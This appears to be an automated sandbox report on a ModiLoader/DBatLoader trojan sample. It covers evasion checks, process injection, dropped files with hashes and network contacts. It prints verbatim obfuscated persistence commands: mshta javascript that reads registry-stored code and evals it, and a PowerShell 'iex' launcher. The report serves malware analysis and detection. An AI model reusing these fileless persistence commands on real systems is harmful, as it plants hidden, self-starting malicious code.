Malware Analysis Report

2024-08-06 14:32

Sample ID 240528-tha2bscc67
Target 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118
SHA256 28ad354b5f3bc99707a840b3d72eb5e1c5dbd1474591bb48f3497071cc024f9c
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

28ad354b5f3bc99707a840b3d72eb5e1c5dbd1474591bb48f3497071cc024f9c

Threat Level: Known bad

The file 7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

ModiLoader Second Stage

Checks for common network interception software

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Looks for VMWare Tools registry key

Drops startup file

Deletes itself

Checks computer location settings

Checks BIOS information in registry

Maps connected drives based on registry

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious behavior: MapViewOfSection

Modifies registry class

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-28 16:02

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-28 16:02

Reported

2024-05-28 16:05

Platform

win7-20240221-en

Max time kernel

150s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:FBK0Sm5Z=\"Z6hR5TXk\";h2A6=new%20ActiveXObject(\"WScript.Shell\");L4wieK=\"T\";K6GI3o=h2A6.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");mMa0Nw=\"E4drt7t\";eval(K6GI3o);NbjeCYW73=\"BFuvOd8K\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d71742\\cc24ba.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:dDM9d3=\"Pf8zS\";Zf6=new%20ActiveXObject(\"WScript.Shell\");Yc4eCkW=\"w1Z8q0C\";kmp2K=Zf6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ruqqchx\\\\uiksnqah\");gmzWY2g1=\"VvIJkeUe\";eval(kmp2K);i4oe1H=\"W6JmXhQ\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af49\ = "49de3d" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:AoM89ADS=\"AjX3t\";H6e5=new ActiveXObject(\"WScript.Shell\");qlN0G=\"0RA\";b4qew=H6e5.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");i86ODqDq=\"Fdd\";eval(b4qew);zjlNiM4w=\"9\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af49 C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 2224 wrote to memory of 1684 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1568 wrote to memory of 948 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1568 wrote to memory of 948 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1568 wrote to memory of 948 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1568 wrote to memory of 948 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 948 wrote to memory of 432 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 432 wrote to memory of 2524 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:gCtNJW7v1="f";m3S=new%20ActiveXObject("WScript.Shell");X0bZiyf="o0";XI1sJ=m3S.RegRead("HKLM\\software\\Wow6432Node\\N4Y7zbrdHc\\nUjASBk");E4h0ydnAN="gHwg";eval(XI1sJ);X7kEP="OQc1T2CE";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:muvpu

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 170.28.222.220:80 tcp
FR 88.179.10.213:80 tcp
FR 77.146.184.108:80 tcp
JP 221.190.179.141:80 tcp
GB 25.217.20.97:443 tcp
CN 120.193.80.42:80 tcp
US 158.137.71.142:80 tcp
AU 129.94.57.196:80 tcp
GB 212.250.149.82:80 tcp
CH 80.242.193.70:80 tcp
AR 190.113.189.83:80 tcp
JP 150.40.18.64:80 tcp
US 70.197.20.33:80 tcp
CO 191.77.246.187:80 tcp
CN 117.35.213.53:80 tcp
US 139.87.31.82:80 tcp
BR 186.239.156.202:80 tcp
BR 189.95.147.190:80 tcp
JP 123.226.219.240:80 tcp
JP 14.14.146.96:80 tcp
US 136.103.224.140:80 tcp
US 206.2.198.198:80 tcp
US 76.28.47.165:80 tcp
CA 153.85.220.45:80 tcp
CN 116.22.153.83:80 tcp
US 216.117.66.242:80 tcp
US 206.2.198.198:80 206.2.198.198 tcp
BR 191.54.40.164:80 tcp
DE 188.99.110.232:80 tcp
IT 2.229.181.92:8080 tcp
SE 109.238.138.116:80 tcp
CN 61.150.63.164:80 tcp
IT 82.49.221.91:80 tcp
IT 81.123.121.16:80 tcp
US 67.185.234.139:443 tcp
US 199.133.139.28:80 tcp
AU 110.142.148.232:80 tcp
EG 105.89.34.48:80 tcp
GB 2.96.62.115:80 tcp
US 155.122.141.163:80 tcp
US 28.201.187.7:80 tcp
US 98.108.151.105:80 tcp
US 54.30.10.99:80 tcp
US 208.35.15.20:80 tcp
CN 112.97.195.68:80 tcp
US 139.245.87.36:80 tcp
AU 203.6.95.68:80 tcp
EG 41.46.124.153:80 tcp
US 28.42.37.124:80 tcp
US 76.25.94.191:80 tcp
GB 82.14.251.106:80 tcp
JP 133.90.211.248:80 tcp
EG 45.246.106.165:80 tcp
BR 179.248.119.125:80 tcp
US 13.141.72.139:80 tcp
CA 153.71.183.73:80 tcp
CN 110.76.37.94:80 tcp
US 140.59.219.88:80 tcp
BR 177.14.25.47:80 tcp
ID 36.83.238.154:80 tcp
US 17.39.155.26:80 tcp
ES 84.127.147.151:8080 tcp
DE 53.168.193.189:8080 tcp
CO 186.118.133.138:80 tcp
JP 211.10.246.166:80 tcp
US 75.121.114.184:80 tcp
AU 101.187.201.126:8080 tcp
US 55.124.92.127:80 tcp
US 13.22.188.131:80 tcp
BR 177.15.117.137:8080 tcp
US 209.149.88.202:80 tcp
CH 138.221.23.87:80 tcp
SG 43.26.12.135:80 tcp
IT 79.52.113.255:80 tcp
US 22.144.192.199:80 tcp
US 174.121.4.75:80 tcp
CN 154.8.226.101:8080 tcp
AT 137.208.190.195:80 tcp
US 99.112.249.226:80 tcp
UA 77.121.103.190:80 tcp
RU 94.245.131.194:80 tcp
US 40.53.132.90:80 tcp
US 184.243.133.126:80 tcp
CN 116.225.46.27:80 tcp
US 64.29.219.48:80 tcp
US 155.169.252.124:80 tcp
US 54.227.116.228:80 tcp
GB 4.250.202.237:80 tcp
CN 120.234.235.30:80 tcp
CN 223.166.147.31:80 tcp
US 97.84.48.50:80 tcp
US 54.161.234.158:80 tcp
US 209.230.195.139:80 tcp
KR 211.191.136.75:80 tcp
JP 126.208.196.150:80 tcp
JP 211.12.1.155:80 tcp
ZA 197.71.54.11:80 tcp
CN 183.24.165.244:80 tcp
IT 45.133.210.114:80 tcp
IR 188.214.174.155:80 tcp
KR 119.65.161.50:80 tcp
JP 220.7.207.171:443 tcp
US 32.168.30.81:80 tcp
US 97.252.79.141:80 tcp
CN 14.218.252.89:80 tcp
MT 217.168.172.176:80 tcp
US 140.176.136.50:80 tcp
JP 130.62.162.2:80 tcp
JP 49.253.5.203:80 tcp
BR 187.56.51.34:80 tcp
RU 109.201.98.70:80 tcp
RU 5.59.149.11:80 tcp
US 170.48.18.120:80 tcp
US 207.180.161.147:80 tcp
PA 190.35.196.25:80 tcp
DE 212.60.252.231:8080 tcp
DK 94.145.157.69:443 tcp
US 165.29.215.198:80 tcp
US 169.152.137.73:80 tcp
GB 25.110.62.222:80 tcp
US 40.227.18.202:80 tcp
N/A 10.79.248.254:80 tcp
US 143.229.111.158:443 tcp
HK 59.148.94.80:80 tcp
CN 122.72.193.222:80 tcp
US 17.191.6.165:80 tcp
GB 178.208.190.119:80 tcp
IN 49.201.71.31:80 tcp
BR 200.168.80.105:80 tcp
BR 191.4.186.217:80 tcp
US 158.26.235.214:80 tcp
N/A 107.25.86.73:443 tcp

Files

memory/1684-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/1684-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/1684-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/1684-6-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/1684-10-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/1684-11-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/1684-7-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/1684-9-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/1684-8-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/1684-12-0x0000000001DB0000-0x0000000001E86000-memory.dmp

memory/948-22-0x0000000005C90000-0x0000000005D66000-memory.dmp

memory/432-24-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-23-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/948-26-0x0000000005C90000-0x0000000005D66000-memory.dmp

memory/432-27-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-30-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-29-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-28-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-48-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-47-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-46-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-45-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-60-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/948-25-0x0000000002780000-0x0000000004780000-memory.dmp

memory/432-58-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-57-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-56-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-55-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-54-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-49-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-44-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-43-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-42-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-41-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-40-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-39-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-38-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-37-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-36-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-35-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-34-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-33-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-32-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-31-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-66-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-67-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-71-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-73-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-72-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-70-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-69-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/432-68-0x00000000000D0000-0x0000000000211000-memory.dmp

memory/2524-75-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-81-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-79-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-78-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-77-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-76-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-80-0x0000000000200000-0x0000000000341000-memory.dmp

memory/2524-74-0x0000000000200000-0x0000000000341000-memory.dmp

C:\Users\Admin\AppData\Local\d71742\ee03f2.bat

MD5 251c82732dbd03982f565deed73bb4f2
SHA1 2f903f60f1946953494fb995438cc2419abe59df
SHA256 4b67bfb9575e3dffcba2ad2d0c3b194119b1671d0e079ca9a2ff85b177d438f2
SHA512 1c6d1dd21ef660f870e23663b8f895f2255bf43830e93690217124a6b4a8cc563f97a4db145dd247b93bda3d49b7ef9d2ddf4ce58c72eccfb4609a356afd1344

C:\Users\Admin\AppData\Roaming\3aef84\6d4792.c56af49

MD5 1883744c99fed551b973fd3bcbf5500b
SHA1 f9ff1d6d40500b4d0a81a72d23b90be5ef3bf37f
SHA256 7c0363d2dd36e6b4fb556060701279082a657ad7020dc94d7a5f68a387b50676
SHA512 efd4bfd76aa10270496e793707f6a3e50ff8b7b8f46e107ca1b766ddc5368f951726eb36a13aac6bf04eb649b6aa76c9f8174341b02ee0a08b445010def002a0

C:\Users\Admin\AppData\Local\d71742\cc24ba.lnk

MD5 c19022fd2c85d818d1d6ca41564b11ce
SHA1 8394d4fda6e8ef48754ae82e7cf2f8dae1b2d93b
SHA256 88ac9a2c54cc61e97e0c9257ed22e0cadb9cfbabefd212245c3c16241b3f7ca3
SHA512 4a468d5bbdf5d0d3c93f75e96dae02405518cd50a6f6da39053b35b0b9c3101d78d836312e3609af153c2873d8b5f0149fc36027145d21b5790b46e3b17892ec

C:\Users\Admin\AppData\Local\d71742\043bcc.c56af49

MD5 3f64058638df7926c7a68ddcbdd30718
SHA1 dd05dee5cacf744a606f5323ae4a41abe3174a38
SHA256 acaf29d232a27632ab7f857ed4eca467dc99cd20b611a3fb7a459e73c299a33f
SHA512 7aab0a368d4797283f56d8cab05aaac1ac8b489a350b20ab8a8af410c058854386e7d6952f1ce5a0943d0f1905c67c9b4e32b37ca066240b7ccc2389964422a6

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk

MD5 809a664212f365393c5371b263861168
SHA1 bbec2cf3c1f11f506ea7f290614414807c5da0f6
SHA256 0f7d25c8a19518ba31dc25458ef8d3d257080d64f6a4455f0ed8b8fea6fe673e
SHA512 34dcead3ce055211c778ea65bf1eaa942ceeabbf1b1a50da26e7dd7306d26b2cd4051c23203babe4fcfcf61a663c25bd105040994f37fff14f0bdb8db575f788

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-28 16:02

Reported

2024-05-28 16:05

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
